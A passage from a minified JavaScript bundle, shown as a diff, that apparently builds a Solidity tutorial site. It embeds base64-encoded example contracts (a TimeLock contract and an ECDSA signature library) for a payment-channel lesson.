JsaWMgY29uc3RhbnQgTUlOX0RFTEFZID0gMTA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9ERUxBWSA9IDEwMDA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IEdSQUNFX1BFUklPRCA9IDEwMDA7IC8vIHNlY29uZHMKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIC8vIHR4IGlkID0+IHF1ZXVlZAogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBxdWV1ZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICBpZiAobXNnLnNlbmRlciAhPSBvd25lcikgewogICAgICAgICAgICByZXZlcnQgTm90T3duZXJFcnJvcigpOwogICAgICAgIH0KICAgICAgICBfOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0VHhJZCgKICAgICAgICBhZGRyZXNzIF90YXJnZXQsCiAgICAgICAgdWludDI1NiBfdmFsdWUsCiAgICAgICAgc3RyaW5nIGNhbGxkYXRhIF9mdW5jLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIF9kYXRhLAogICAgICAgIHVpbnQyNTYgX3RpbWVzdGFtcAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAcGFyYW0gX3RhcmdldCBBZGRyZXNzIG9mIGNvbnRyYWN0IG9yIGFjY291bnQgdG8gY2FsbAogICAgICogQHBhcmFtIF92YWx1ZSBBbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAqIEBwYXJhbSBfZnVuYyBGdW5jdGlvbiBzaWduYXR1cmUsIGZvciBleGFtcGxlICJmb28oYWRkcmVzcyx1aW50MjU2KSIKICAgICAqIEBwYXJhbSBfZGF0YSBBQkkgZW5jb2RlZCBkYXRhIHNlbmQuCiAgICAgKiBAcGFyYW0gX3RpbWVzdGFtcCBUaW1lc3RhbXAgYWZ0ZXIgd2hpY2ggdGhlIHRyYW5zYWN0aW9uIGNhbiBiZSBleGVjdXRlZC4KICAgICAqLwogICAgZnVuY3Rpb24gcXVldWUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgb25seU93bmVyIHJldHVybnMgKGJ5dGVzMzIgdHhJZCkgewogICAgICAgIHR4SWQgPSBnZXRUeElkKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKICAgICAgICBpZiAocXVldWVkW3R4SWRdKSB7CiAgICAgICAgICAgIHJldmVydCBBbHJlYWR5UXVldWVkRXJyb3IodHhJZCk7CiAgICAgICAgfQogICAgICAgIC8vIC0tLXwtLS0tLS0tLS0tLS18LS0tLS0tLS0tLS0tLS0tfC0tLS0tLS0KICAgICAgICAvLyAgYmxvY2sgICAgYmxvY2sgKyBtaW4gICAgIGJsb2NrICsgbWF4CiAgICAgICAgaWYgKAogICAgICAgICAgICBfdGltZXN0YW1wIDwgYmxvY2sudGltZXN0YW1wICsgTUlOX0RFTEFZCiAgICAgICAgICAgICAgICB8fCBfdGltZXN0YW1wID4gYmxvY2sudGltZXN0YW1wICsgTUFYX0RFTEFZCiAgICAgICAgKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBOb3RJblJhbmdlRXJyb3IoYmxvY2sudGltZXN0YW1wLCBfdGltZXN0YW1wKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IHRydWU7CgogICAgICAgIGVtaXQgUXVldWUodHhJZCwgX3RhcmdldCwgX3ZhbHVlLCBfZnVuYywgX2RhdGEsIF90aW1lc3RhbXApOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgcGF5YWJsZSBvbmx5T3duZXIgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMzMiB0eElkID0gZ2V0VHhJZChfdGFyZ2V0LCBfdmFsdWUsIF9mdW5jLCBfZGF0YSwgX3RpbWVzdGFtcCk7CiAgICAgICAgaWYgKCFxdWV1ZWRbdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKHR4SWQpOwogICAgICAgIH0KICAgICAgICAvLyAtLS0tfC0tLS0tLS0tLS0tLS0tLS0tLS18LS0tLS0tLQogICAgICAgIC8vICB0aW1lc3RhbXAgICAgdGltZXN0YW1wICsgZ3JhY2UgcGVyaW9kCiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA8IF90aW1lc3RhbXApIHsKICAgICAgICAgICAgcmV2ZXJ0IFRpbWVzdGFtcE5vdFBhc3NlZEVycm9yKGJsb2NrLnRpbWVzdGFtcCwgX3RpbWVzdGFtcCk7CiAgICAgICAgfQogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgPiBfdGltZXN0YW1wICsgR1JBQ0VfUEVSSU9EKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBFeHBpcmVkRXJyb3IoCiAgICAgICAgICAgICAgICBibG9jay50aW1lc3RhbXAsIF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QKICAgICAgICAgICAgKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IGZhbHNlOwoKICAgICAgICAvLyBwcmVwYXJlIGRhdGEKICAgICAgICBieXRlcyBtZW1vcnkgZGF0YTsKICAgICAgICBpZiAoYnl0ZXMoX2Z1bmMpLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgLy8gZGF0YSA9IGZ1bmMgc2VsZWN0b3IgKyBfZGF0YQogICAgICAgICAgICBkYXRhID0gYWJpLmVuY29kZVBhY2tlZChieXRlczQoa2VjY2FrMjU2KGJ5dGVzKF9mdW5jKSkpLCBfZGF0YSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gY2FsbCBmYWxsYmFjayB3aXRoIGRhdGEKICAgICAgICAgICAgZGF0YSA9IF9kYXRhOwogICAgICAgIH0KCiAgICAgICAgLy8gY2FsbCB0YXJnZXQKICAgICAgICAoYm9vbCBvaywgYnl0ZXMgbWVtb3J5IHJlcykgPSBfdGFyZ2V0LmNhbGx7dmFsdWU6IF92YWx1ZX0oZGF0YSk7CiAgICAgICAgaWYgKCFvaykgewogICAgICAgICAgICByZXZlcnQgVHhGYWlsZWRFcnJvcigpOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBFeGVjdXRlKHR4SWQsIF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKCiAgICAgICAgcmV0dXJuIHJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBjYW5jZWwoYnl0ZXMzMiBfdHhJZCkgZXh0ZXJuYWwgb25seU93bmVyIHsKICAgICAgICBpZiAoIXF1ZXVlZFtfdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKF90eElkKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFtfdHhJZF0gPSBmYWxzZTsKCiAgICAgICAgZW1pdCBDYW5jZWwoX3R4SWQpOwogICAgfQp9Cg=="}],hu=`

              TimeLock is a contract that publishes a transaction to be executed in the future. +`,cu=({prev:s,next:a})=>r.jsx(A,{version:au,title:nu,description:lu,html:eu,prev:s,next:a,codes:pu}),tu="0.8.24",ou="Time Lock",ru="Time Lock",iu=[{fileName:"TimeLock.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFRpbWVMb2NrIHsKICAgIGVycm9yIE5vdE93bmVyRXJyb3IoKTsKICAgIGVycm9yIEFscmVhZHlRdWV1ZWRFcnJvcihieXRlczMyIHR4SWQpOwogICAgZXJyb3IgVGltZXN0YW1wTm90SW5SYW5nZUVycm9yKHVpbnQyNTYgYmxvY2tUaW1lc3RhbXAsIHVpbnQyNTYgdGltZXN0YW1wKTsKICAgIGVycm9yIE5vdFF1ZXVlZEVycm9yKGJ5dGVzMzIgdHhJZCk7CiAgICBlcnJvciBUaW1lc3RhbXBOb3RQYXNzZWRFcnJvcih1aW50MjU2IGJsb2NrVGltZXN0bWFwLCB1aW50MjU2IHRpbWVzdGFtcCk7CiAgICBlcnJvciBUaW1lc3RhbXBFeHBpcmVkRXJyb3IodWludDI1NiBibG9ja1RpbWVzdGFtcCwgdWludDI1NiBleHBpcmVzQXQpOwogICAgZXJyb3IgVHhGYWlsZWRFcnJvcigpOwoKICAgIGV2ZW50IFF1ZXVlKAogICAgICAgIGJ5dGVzMzIgaW5kZXhlZCB0eElkLAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCB0YXJnZXQsCiAgICAgICAgdWludDI1NiB2YWx1ZSwKICAgICAgICBzdHJpbmcgZnVuYywKICAgICAgICBieXRlcyBkYXRhLAogICAgICAgIHVpbnQyNTYgdGltZXN0YW1wCiAgICApOwogICAgZXZlbnQgRXhlY3V0ZSgKICAgICAgICBieXRlczMyIGluZGV4ZWQgdHhJZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgdmFsdWUsCiAgICAgICAgc3RyaW5nIGZ1bmMsCiAgICAgICAgYnl0ZXMgZGF0YSwKICAgICAgICB1aW50MjU2IHRpbWVzdGFtcAogICAgKTsKICAgIGV2ZW50IENhbmNlbChieXRlczMyIGluZGV4ZWQgdHhJZCk7CgogICAgdWludDI1NiBwdWJsaWMgY29uc3RhbnQgTUlOX0RFTEFZID0gMTA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9ERUxBWSA9IDEwMDA7IC8vIHNlY29uZHMKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IEdSQUNFX1BFUklPRCA9IDEwMDA7IC8vIHNlY29uZHMKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIC8vIHR4IGlkID0+IHF1ZXVlZAogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBxdWV1ZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICBpZiAobXNnLnNlbmRlciAhPSBvd25lcikgewogICAgICAgICAgICByZXZlcnQgTm90T3duZXJFcnJvcigpOwogICAgICAgIH0KICAgICAgICBfOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0VHhJZCgKICAgICAgICBhZGRyZXNzIF90YXJnZXQsCiAgICAgICAgdWludDI1NiBfdmFsdWUsCiAgICAgICAgc3RyaW5nIGNhbGxkYXRhIF9mdW5jLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIF9kYXRhLAogICAgICAgIHVpbnQyNTYgX3RpbWVzdGFtcAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAcGFyYW0gX3RhcmdldCBBZGRyZXNzIG9mIGNvbnRyYWN0IG9yIGFjY291bnQgdG8gY2FsbAogICAgICogQHBhcmFtIF92YWx1ZSBBbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAqIEBwYXJhbSBfZnVuYyBGdW5jdGlvbiBzaWduYXR1cmUsIGZvciBleGFtcGxlICJmb28oYWRkcmVzcyx1aW50MjU2KSIKICAgICAqIEBwYXJhbSBfZGF0YSBBQkkgZW5jb2RlZCBkYXRhIHNlbmQuCiAgICAgKiBAcGFyYW0gX3RpbWVzdGFtcCBUaW1lc3RhbXAgYWZ0ZXIgd2hpY2ggdGhlIHRyYW5zYWN0aW9uIGNhbiBiZSBleGVjdXRlZC4KICAgICAqLwogICAgZnVuY3Rpb24gcXVldWUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgb25seU93bmVyIHJldHVybnMgKGJ5dGVzMzIgdHhJZCkgewogICAgICAgIHR4SWQgPSBnZXRUeElkKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKICAgICAgICBpZiAocXVldWVkW3R4SWRdKSB7CiAgICAgICAgICAgIHJldmVydCBBbHJlYWR5UXVldWVkRXJyb3IodHhJZCk7CiAgICAgICAgfQogICAgICAgIC8vIC0tLXwtLS0tLS0tLS0tLS18LS0tLS0tLS0tLS0tLS0tfC0tLS0tLS0KICAgICAgICAvLyAgYmxvY2sgICAgYmxvY2sgKyBtaW4gICAgIGJsb2NrICsgbWF4CiAgICAgICAgaWYgKAogICAgICAgICAgICBfdGltZXN0YW1wIDwgYmxvY2sudGltZXN0YW1wICsgTUlOX0RFTEFZCiAgICAgICAgICAgICAgICB8fCBfdGltZXN0YW1wID4gYmxvY2sudGltZXN0YW1wICsgTUFYX0RFTEFZCiAgICAgICAgKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBOb3RJblJhbmdlRXJyb3IoYmxvY2sudGltZXN0YW1wLCBfdGltZXN0YW1wKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IHRydWU7CgogICAgICAgIGVtaXQgUXVldWUodHhJZCwgX3RhcmdldCwgX3ZhbHVlLCBfZnVuYywgX2RhdGEsIF90aW1lc3RhbXApOwogICAgfQoKICAgIGZ1bmN0aW9uIGV4ZWN1dGUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQyNTYgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50MjU2IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgcGF5YWJsZSBvbmx5T3duZXIgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgYnl0ZXMzMiB0eElkID0gZ2V0VHhJZChfdGFyZ2V0LCBfdmFsdWUsIF9mdW5jLCBfZGF0YSwgX3RpbWVzdGFtcCk7CiAgICAgICAgaWYgKCFxdWV1ZWRbdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKHR4SWQpOwogICAgICAgIH0KICAgICAgICAvLyAtLS0tfC0tLS0tLS0tLS0tLS0tLS0tLS18LS0tLS0tLQogICAgICAgIC8vICB0aW1lc3RhbXAgICAgdGltZXN0YW1wICsgZ3JhY2UgcGVyaW9kCiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA8IF90aW1lc3RhbXApIHsKICAgICAgICAgICAgcmV2ZXJ0IFRpbWVzdGFtcE5vdFBhc3NlZEVycm9yKGJsb2NrLnRpbWVzdGFtcCwgX3RpbWVzdGFtcCk7CiAgICAgICAgfQogICAgICAgIGlmIChibG9jay50aW1lc3RhbXAgPiBfdGltZXN0YW1wICsgR1JBQ0VfUEVSSU9EKSB7CiAgICAgICAgICAgIHJldmVydCBUaW1lc3RhbXBFeHBpcmVkRXJyb3IoCiAgICAgICAgICAgICAgICBibG9jay50aW1lc3RhbXAsIF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QKICAgICAgICAgICAgKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFt0eElkXSA9IGZhbHNlOwoKICAgICAgICAvLyBwcmVwYXJlIGRhdGEKICAgICAgICBieXRlcyBtZW1vcnkgZGF0YTsKICAgICAgICBpZiAoYnl0ZXMoX2Z1bmMpLmxlbmd0aCA+IDApIHsKICAgICAgICAgICAgLy8gZGF0YSA9IGZ1bmMgc2VsZWN0b3IgKyBfZGF0YQogICAgICAgICAgICBkYXRhID0gYWJpLmVuY29kZVBhY2tlZChieXRlczQoa2VjY2FrMjU2KGJ5dGVzKF9mdW5jKSkpLCBfZGF0YSk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy8gY2FsbCBmYWxsYmFjayB3aXRoIGRhdGEKICAgICAgICAgICAgZGF0YSA9IF9kYXRhOwogICAgICAgIH0KCiAgICAgICAgLy8gY2FsbCB0YXJnZXQKICAgICAgICAoYm9vbCBvaywgYnl0ZXMgbWVtb3J5IHJlcykgPSBfdGFyZ2V0LmNhbGx7dmFsdWU6IF92YWx1ZX0oZGF0YSk7CiAgICAgICAgaWYgKCFvaykgewogICAgICAgICAgICByZXZlcnQgVHhGYWlsZWRFcnJvcigpOwogICAgICAgIH0KCiAgICAgICAgZW1pdCBFeGVjdXRlKHR4SWQsIF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKCiAgICAgICAgcmV0dXJuIHJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBjYW5jZWwoYnl0ZXMzMiBfdHhJZCkgZXh0ZXJuYWwgb25seU93bmVyIHsKICAgICAgICBpZiAoIXF1ZXVlZFtfdHhJZF0pIHsKICAgICAgICAgICAgcmV2ZXJ0IE5vdFF1ZXVlZEVycm9yKF90eElkKTsKICAgICAgICB9CgogICAgICAgIHF1ZXVlZFtfdHhJZF0gPSBmYWxzZTsKCiAgICAgICAgZW1pdCBDYW5jZWwoX3R4SWQpOwogICAgfQp9Cg=="}],gu=`

              TimeLock is a contract that publishes a transaction to be executed in the future. After a minimum waiting period, the transaction can be executed.

              TimeLocks are commonly used in DAOs.

              // SPDX-License-Identifier: MIT
@@ -2970,7 +2970,7 @@ After a minimum waiting period, the transaction can be executed.
              
         emit Cancel(_txId);
     }
 }
-
              `,Iu=({prev:s,next:a})=>r.jsx(A,{version:ou,title:ru,description:iu,html:hu,prev:s,next:a,codes:gu}),du="0.8.24",Cu="Uni-Directional Payment Channel",ju="An example of uni-directional payment channels in Solidity",Au=[{fileName:"ECDSA.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8vIE9wZW5aZXBwZWxpbiBDb250cmFjdHMgKGxhc3QgdXBkYXRlZCB2NC41LjApICh1dGlscy9jcnlwdG9ncmFwaHkvRUNEU0Euc29sKQoKbGlicmFyeSBFQ0RTQSB7CiAgICBlbnVtIFJlY292ZXJFcnJvciB7CiAgICAgICAgTm9FcnJvciwKICAgICAgICBJbnZhbGlkU2lnbmF0dXJlLAogICAgICAgIEludmFsaWRTaWduYXR1cmVMZW5ndGgsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVMsCiAgICAgICAgSW52YWxpZFNpZ25hdHVyZVYKICAgIH0KCiAgICBmdW5jdGlvbiBfdGhyb3dFcnJvcihSZWNvdmVyRXJyb3IgZXJyb3IpIHByaXZhdGUgcHVyZSB7CiAgICAgICAgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5Ob0Vycm9yKSB7CiAgICAgICAgICAgIHJldHVybjsgLy8gbm8gZXJyb3I6IGRvIG5vdGhpbmcKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlKSB7CiAgICAgICAgICAgIHJldmVydCgiRUNEU0E6IGludmFsaWQgc2lnbmF0dXJlIik7CiAgICAgICAgfSBlbHNlIGlmIChlcnJvciA9PSBSZWNvdmVyRXJyb3IuSW52YWxpZFNpZ25hdHVyZUxlbmd0aCkgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSBsZW5ndGgiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlUykgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAncycgdmFsdWUiKTsKICAgICAgICB9IGVsc2UgaWYgKGVycm9yID09IFJlY292ZXJFcnJvci5JbnZhbGlkU2lnbmF0dXJlVikgewogICAgICAgICAgICByZXZlcnQoIkVDRFNBOiBpbnZhbGlkIHNpZ25hdHVyZSAndicgdmFsdWUiKTsKICAgICAgICB9CiAgICB9CgogICAgZnVuY3Rpb24gdHJ5UmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzIG1lbW9yeSBzaWduYXR1cmUpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYWRkcmVzcywgUmVjb3ZlckVycm9yKQogICAgewogICAgICAgIC8vIENoZWNrIHRoZSBzaWduYXR1cmUgbGVuZ3RoCiAgICAgICAgLy8gLSBjYXNlIDY1OiByLHMsdiBzaWduYXR1cmUgKHN0YW5kYXJkKQogICAgICAgIC8vIC0gY2FzZSA2NDogcix2cyBzaWduYXR1cmUgKGNmIGh0dHBzOi8vZWlwcy5ldGhlcmV1bS5vcmcvRUlQUy9laXAtMjA5OCkgX0F2YWlsYWJsZSBzaW5jZSB2NC4xLl8KICAgICAgICBpZiAoc2lnbmF0dXJlLmxlbmd0aCA9PSA2NSkgewogICAgICAgICAgICBieXRlczMyIHI7CiAgICAgICAgICAgIGJ5dGVzMzIgczsKICAgICAgICAgICAgdWludDggdjsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgcyA6PSBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDQwKSkKICAgICAgICAgICAgICAgIHYgOj0gYnl0ZSgwLCBtbG9hZChhZGQoc2lnbmF0dXJlLCAweDYwKSkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICAgICAgfSBlbHNlIGlmIChzaWduYXR1cmUubGVuZ3RoID09IDY0KSB7CiAgICAgICAgICAgIGJ5dGVzMzIgcjsKICAgICAgICAgICAgYnl0ZXMzMiB2czsKICAgICAgICAgICAgLy8gZWNyZWNvdmVyIHRha2VzIHRoZSBzaWduYXR1cmUgcGFyYW1ldGVycywgYW5kIHRoZSBvbmx5IHdheSB0byBnZXQgdGhlbQogICAgICAgICAgICAvLyBjdXJyZW50bHkgaXMgdG8gdXNlIGFzc2VtYmx5LgogICAgICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgICAgICByIDo9IG1sb2FkKGFkZChzaWduYXR1cmUsIDB4MjApKQogICAgICAgICAgICAgICAgdnMgOj0gbWxvYWQoYWRkKHNpZ25hdHVyZSwgMHg0MCkpCiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAoYWRkcmVzcygwKSwgUmVjb3ZlckVycm9yLkludmFsaWRTaWduYXR1cmVMZW5ndGgpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZSkKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgc2lnbmF0dXJlKTsKICAgICAgICBfdGhyb3dFcnJvcihlcnJvcik7CiAgICAgICAgcmV0dXJuIHJlY292ZXJlZDsKICAgIH0KCiAgICBmdW5jdGlvbiB0cnlSZWNvdmVyKGJ5dGVzMzIgaGFzaCwgYnl0ZXMzMiByLCBieXRlczMyIHZzKQogICAgICAgIGludGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGFkZHJlc3MsIFJlY292ZXJFcnJvcikKICAgIHsKICAgICAgICBieXRlczMyIHMgPSB2cwogICAgICAgICAgICAmIGJ5dGVzMzIoCiAgICAgICAgICAgICAgICAweDdmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmYKICAgICAgICAgICAgKTsKICAgICAgICB1aW50OCB2ID0gdWludDgoKHVpbnQyNTYodnMpID4+IDI1NSkgKyAyNyk7CiAgICAgICAgcmV0dXJuIHRyeVJlY292ZXIoaGFzaCwgdiwgciwgcyk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVjb3ZlcihieXRlczMyIGhhc2gsIGJ5dGVzMzIgciwgYnl0ZXMzMiB2cykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzKQogICAgewogICAgICAgIChhZGRyZXNzIHJlY292ZXJlZCwgUmVjb3ZlckVycm9yIGVycm9yKSA9IHRyeVJlY292ZXIoaGFzaCwgciwgdnMpOwogICAgICAgIF90aHJvd0Vycm9yKGVycm9yKTsKICAgICAgICByZXR1cm4gcmVjb3ZlcmVkOwogICAgfQoKICAgIGZ1bmN0aW9uIHRyeVJlY292ZXIoYnl0ZXMzMiBoYXNoLCB1aW50OCB2LCBieXRlczMyIHIsIGJ5dGVzMzIgcykKICAgICAgICBpbnRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChhZGRyZXNzLCBSZWNvdmVyRXJyb3IpCiAgICB7CiAgICAgICAgLy8gRUlQLTIgc3RpbGwgYWxsb3dzIHNpZ25hdHVyZSBtYWxsZWFiaWxpdHkgZm9yIGVjcmVjb3ZlcigpLiBSZW1vdmUgdGhpcyBwb3NzaWJpbGl0eSBhbmQgbWFrZSB0aGUgc2lnbmF0dXJlCiAgICAgICAgLy8gdW5pcXVlLiBBcHBlbmRpeCBGIGluIHRoZSBFdGhlcmV1bSBZZWxsb3cgcGFwZXIgKGh0dHBzOi8vZXRoZXJldW0uZ2l0aHViLmlvL3llbGxvd3BhcGVyL3BhcGVyLnBkZiksIGRlZmluZXMKICAgICAgICAvLyB0aGUgdmFsaWQgcmFuZ2UgZm9yIHMgaW4gKDMwMSk6IDAgPCBzIDwgc2VjcDI1NmsxbiDDtyAyICsgMSwgYW5kIGZvciB2IGluICgzMDIpOiB2IOKIiCB7MjcsIDI4fS4gTW9zdAogICAgICAgIC8vIHNpZ25hdHVyZXMgZnJvbSBjdXJyZW50IGxpYnJhcmllcyBnZW5lcmF0ZSBhIHVuaXF1ZSBzaWduYXR1cmUgd2l0aCBhbiBzLXZhbHVlIGluIHRoZSBsb3dlciBoYWxmIG9yZGVyLgogICAgICAgIC8vCiAgICAgICAgLy8gSWYgeW91ciBsaWJyYXJ5IGdlbmVyYXRlcyBtYWxsZWFibGUgc2lnbmF0dXJlcywgc3VjaCBhcyBzLXZhbHVlcyBpbiB0aGUgdXBwZXIgcmFuZ2UsIGNhbGN1bGF0ZSBhIG5ldyBzLXZhbHVlCiAgICAgICAgLy8gd2l0aCAweEZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZFQkFBRURDRTZBRjQ4QTAzQkJGRDI1RThDRDAzNjQxNDEgLSBzMSBhbmQgZmxpcCB2IGZyb20gMjcgdG8gMjggb3IKICAgICAgICAvLyB2aWNlIHZlcnNhLiBJZiB5b3VyIGxpYnJhcnkgYWxzbyBnZW5lcmF0ZXMgc2lnbmF0dXJlcyB3aXRoIDAvMSBmb3IgdiBpbnN0ZWFkIDI3LzI4LCBhZGQgMjcgdG8gdiB0byBhY2NlcHQKICAgICAgICAvLyB0aGVzZSBt